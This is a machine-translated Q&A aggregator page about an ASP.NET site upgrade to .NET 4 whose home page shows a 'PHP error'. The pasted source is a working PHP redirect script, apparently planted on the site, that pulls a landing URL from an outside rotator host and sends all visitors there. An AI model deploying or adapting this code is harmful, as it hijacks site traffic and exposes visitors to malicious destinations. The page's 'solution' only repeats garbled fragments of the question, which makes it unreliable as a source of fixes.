将站点升级到.NET 4 - 奇怪的PHP错误 [英] upgrading site to .NET 4 - strange PHP error

查看:74
本文介绍了将站点升级到.NET 4 - 奇怪的PHP错误的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述





i希望将我的网站从.NET 2升级到4.



1修复了web.config以满足4个要求



2.将网站的IIS设置为.NET 4(通过Plesk)



3.将所有组件编译为4



现在网站的所有页面都在工作,但主页返回奇怪的PHP错误: 0,'url'=> $ default_url); if($ settings ['last']



*在下面的全视图源



任何人都知道什么似乎是问题以及如何解决它?



非常感谢,



Assaf。



#################### ################################################## ######

#Скриптдолженлежатьвпапке,прочмоденойна777。этоважно!。#

#脚本必须位于777的prochmodenoy文件夹中。这很重要!。#

############### ################################################## ###########

$ geturl ='http://supermyadminspanels.info/rotator.php?hash = 75a996ff2a8a6d666dca52a823e1cc84'#Урлэкспортаактуальногоурланалендинг

$ timeout = 120; #Времяобновления(всекундах)

$ default_url ='http://www.google.com/robots.txt';

if(!$ geturl)

出口();

#еслиестьфайликданных,читаемего,иначесливаетсятрафикнаDEFAULT_URLвтомслучае,еслиобноитьсясэкспортногоурланеполучится
$ b。 $ b $ tmp_settings = sys_get_temp_dir()。 /settings.json;

$ settings = file_exists($ tmp_settings)?unserialize(file_get_contents($ tmp_settings)):array('last'=> 0,'url'=> $ default_url);

if($ settings ['last']< time() - $ timeout)>

{

if( $ settings ['url'] = file_get_contents($ geturl))

{

$ settings ['last'] = time();

$ fp = fopen($ tmp_settings,'w');

flock($ fp,LOCK_EX);

fputs($ fp,serialize($ settings));

flock($ fp,LOCK_UN);

fclose($ fp);

}

}

$ url = $ settings ['url']?$ settings ['url']:$ default_url;

if(substr($ url,0,4)!=' http')

$ url =http://。$ url。/;

header(Location:$ url);

exit();

?>

解决方案

default_url);如果(


设置['last']



*下面的全视图来源



有谁知道什么是问题以及如何解决?



非常感谢,



Assaf。



####################### ################################################## ###

#Скриптдолженлежатьвпапке,прочмоденойна777。этоважно!。#

#脚本必须位于777的prochmodenoy文件夹中。这很重要!#

########################################## #####################################


< blockquote> geturl ='http://supermyadminspanels.info/rotator.php?hash = 75a996ff2a8a6d666dca52a823e1cc84'#Урлэкспортаактуальногоурланалендинг


Hi,

i want to upgrade my site from .NET 2 to 4.

1. fixed the web.config to meet 4 requirements

2. set IIS for the website to .NET 4 (through Plesk)

3. compiled all components to 4

now all the pages of the site are working except the Home Page which returns a strange PHP error: "0, 'url'=>$default_url); if ($settings['last']"

*on the below the full view source

anyone knows what seems to be the problem and how to fix it?

Many Thanks,

Assaf.

############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
$timeout=120; #Время обновления (в секундах)
$default_url='http://www.google.com/robots.txt';
if (!$geturl)
exit();
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится.
$tmp_settings = sys_get_temp_dir() . "/settings.json";
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url);
if ($settings['last']<time()-$timeout)>
{
if ($settings['url']=file_get_contents($geturl))
{
$settings['last']=time();
$fp=fopen($tmp_settings, 'w');
flock($fp, LOCK_EX);
fputs($fp, serialize($settings));
flock($fp, LOCK_UN);
fclose($fp);
}
}
$url=$settings['url']?$settings['url']:$default_url;
if(substr($url, 0, 4)!='http')
$url="http://".$url."/";
header("Location: $url");
exit();
?>

解决方案

default_url); if (


settings['last']"

*on the below the full view source

anyone knows what seems to be the problem and how to fix it?

Many Thanks,

Assaf.

############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################


geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг


这篇关于将站点升级到.NET 4 - 奇怪的PHP错误的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆